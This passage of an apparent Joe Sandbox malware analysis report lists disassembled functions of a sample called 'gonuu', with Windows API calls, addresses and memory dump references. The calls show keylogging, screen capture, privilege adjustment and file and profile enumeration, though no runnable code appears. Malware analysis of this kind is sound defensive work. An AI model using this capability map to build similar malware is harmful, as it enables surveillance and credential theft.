      • Part of subcall function 0041C7EE: RegCloseKey.ADVAPI32(00000000), ref: 0041C835
    • EnterCriticalSection.KERNEL32(00433FEC,00000000), ref: 004223DE
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040F656, Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 248
    APIs
    • SetBkMode.GDI32 ref: 0040F656
    • CreateWindowExW.USER32 ref: 0040F65C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040F76A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040A7EA, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 242
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00415860, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 230
    APIs
    • GetStartupInfoA.KERNEL32 ref: 00415860
    • SetActiveWindow.USER32 ref: 00415866
    • CommDlgExtendedError.COMDLG32 ref: 0041586C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00415AC6
    • MapAndLoad.IMAGEHLP(yaoffu,wzU,?,00000000,00000000), ref: 00415BCB
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00415E29
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040F73E, Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 209
    APIs
    • StartPage.GDI32 ref: 0040F73E
    • RegQueryValueExW.ADVAPI32 ref: 0040F744
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040F76A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040A8FF, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 192
    APIs
    • LPtoDP.GDI32 ref: 0040A8FF
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040F7E4, Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 181
    APIs
    • FindTextW.COMDLG32 ref: 0040F7E4
    • GetForegroundWindow.USER32 ref: 0040F7EA
    • UnhookWinEvent.USER32 ref: 0040F7F0
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040F833, Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 170
    APIs
    • EndDoc.GDI32 ref: 0040F833
    • lstrcpynW.KERNEL32 ref: 0040F839
    • SetAbortProc.GDI32 ref: 0040F83F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040992C, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 158
    APIs
    • MessageBeep.USER32 ref: 0040992C
    • GetWindowPlacement.USER32 ref: 00409932
    • GetMenuState.USER32 ref: 00409938
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040EA08, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 156
    APIs
    • CloseHandle.KERNEL32 ref: 0040EA08
    • LocalFree.KERNEL32 ref: 0040EA0E
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00414143, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 142
    APIs
    • GetSystemTimeAsFileTime.KERNEL32 ref: 00414143
    • MapAndLoad.IMAGEHLP(K56rY,D3k3Ebl,?,00000000,00000000), ref: 004141DE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041439F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004143E0
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0041445A
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00415A89, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 123
    APIs
    • GetSystemMenu.USER32 ref: 00415A89
    • GetCurrentThreadId.KERNEL32 ref: 00415A8F
    • SetScrollPos.USER32 ref: 00415A95
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00415AC6
    • MapAndLoad.IMAGEHLP(yaoffu,wzU,?,00000000,00000000), ref: 00415BCB
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00415E29
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00429ED2, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 99
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 00429EE9
    • GetProcAddress.KERNEL32(?,?), ref: 00429F15
    • GetProcAddress.KERNEL32(?,00000006), ref: 00429F2C
    • GetProcAddress.KERNEL32(?,00000000), ref: 00429F44
    • FreeLibrary.KERNEL32(?), ref: 00429FCD
      • Part of subcall function 00419B6C: GetCurrentThread.KERNEL32 ref: 00419B7C
      • Part of subcall function 00419B6C: OpenThreadToken.ADVAPI32 ref: 00419B83
      • Part of subcall function 00419B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00429F61), ref: 00419B95
      • Part of subcall function 00419B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00429F61,?), ref: 00419BB9
      • Part of subcall function 00419B6C: AdjustTokenPrivileges.ADVAPI32(00429F61,00000000,00000001,00000000,00000000,00000000), ref: 00419BCE
      • Part of subcall function 00419B6C: GetLastError.KERNEL32 ref: 00419BD8
      • Part of subcall function 00419B6C: CloseHandle.KERNEL32(00429F61), ref: 00419BE7
    • WTSGetActiveConsoleSessionId.KERNEL32 ref: 00429F61
      • Part of subcall function 00429E61: EqualSid.ADVAPI32(?,?), ref: 00429E86
      • Part of subcall function 00429E61: CloseHandle.KERNEL32(?), ref: 00429EC7
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00413FFD, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 194
    APIs
    • MapAndLoad.IMAGEHLP(K56rY,D3k3Ebl,?,00000000,00000000), ref: 004141DE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041439F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004143E0
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0041445A
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040E985, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 180
    APIs
    • CloseHandle.KERNEL32 ref: 0040E985
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040DF92, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 177
    APIs
    • CloseHandle.KERNEL32 ref: 0040DF92
    • GlobalUnlock.KERNEL32 ref: 0040DF98
    • RegisterClassExW.USER32 ref: 0040DF9E
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040DFBE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E260
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 0040E43F
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041074B, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 174
    APIs
    • LocalReAlloc.KERNEL32 ref: 0041074B
    • RegisterWindowMessageW.USER32 ref: 00410751
    • MoveWindow.USER32 ref: 00410757
    • MapAndLoad.IMAGEHLP(Kl2,a177vH5,?,00000000,00000000), ref: 00410865
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00410B55
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040AA2E, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 170
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040E9C3, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168
    APIs
    • EnumFontsW.GDI32 ref: 0040E9C3
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00423F77, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 148
    APIs
      • Part of subcall function 0041C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 0041C6C6
      • Part of subcall function 0041C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0041C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00423FDE
      • Part of subcall function 00423D7F: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00423DB6
      • Part of subcall function 00423D7F: StrStrIW.SHLWAPI(?,?), ref: 00423E48
      • Part of subcall function 00423D7F: StrStrIW.SHLWAPI(?,?), ref: 00423E59
      • Part of subcall function 00423D7F: GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00423E75
      • Part of subcall function 00423D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00423E93
      • Part of subcall function 00423D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00423EAD
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00423FFB
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00424077
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00424118
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00410828, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 129
    APIs
    • IsDialogMessageW.USER32 ref: 00410828
    • GetKeyboardLayout.USER32 ref: 0041082E
    • CreateDCW.GDI32 ref: 00410834
    • MapAndLoad.IMAGEHLP(Kl2,a177vH5,?,00000000,00000000), ref: 00410865
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00410B55
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00428575, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107
    APIs
    • TranslateMessage.USER32(?), ref: 004286D3
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • EnterCriticalSection.KERNEL32(00434170), ref: 004285AF
    • LeaveCriticalSection.KERNEL32(00434170), ref: 00428659
      • Part of subcall function 00417B9E: LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00417BD0
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00417BE1
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00417BEE
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00417BFB
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00417C08
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00417C15
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00417C22
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00417C2F
      • Part of subcall function 00417B9E: LoadLibraryA.KERNEL32(ole32.dll), ref: 00417C77
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00417C82
      • Part of subcall function 00417B9E: LoadLibraryA.KERNEL32(gdi32.dll), ref: 00417C94
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(?,CreateDCW), ref: 00417C9F
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00417CAB
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00417CB8
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00417CC5
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00417CD2
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00417CDF
      • Part of subcall function 00417B9E: GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00417CEC
      • Part of subcall function 00417B9E: FreeLibrary.KERNEL32(00000000), ref: 00418030
      • Part of subcall function 00417B9E: FreeLibrary.KERNEL32(?), ref: 0041803A
      • Part of subcall function 00417B9E: FreeLibrary.KERNEL32(00000001), ref: 00418044
    • GetTickCount.KERNEL32 ref: 0042861B
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    • GetKeyboardState.USER32(?), ref: 00428673
    • ToUnicode.USER32(0000001B,?,?,?,00000009,00000000), ref: 0042869B
      • Part of subcall function 004283EA: EnterCriticalSection.KERNEL32(00434170,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428407
      • Part of subcall function 004283EA: LeaveCriticalSection.KERNEL32(00434170,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428428
      • Part of subcall function 004283EA: EnterCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428439
      • Part of subcall function 004283EA: LeaveCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 004284C1
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040AC2E, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 99
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00408D99, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 97
    APIs
    • GetSystemTimeAsFileTime.KERNEL32 ref: 00408D99
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00409BC5, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
    APIs
    • GetSubMenu.USER32 ref: 00409BC5
    • ShellAboutW.SHELL32 ref: 00409BCB
    • LoadLibraryA.KERNEL32 ref: 00409BD1
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
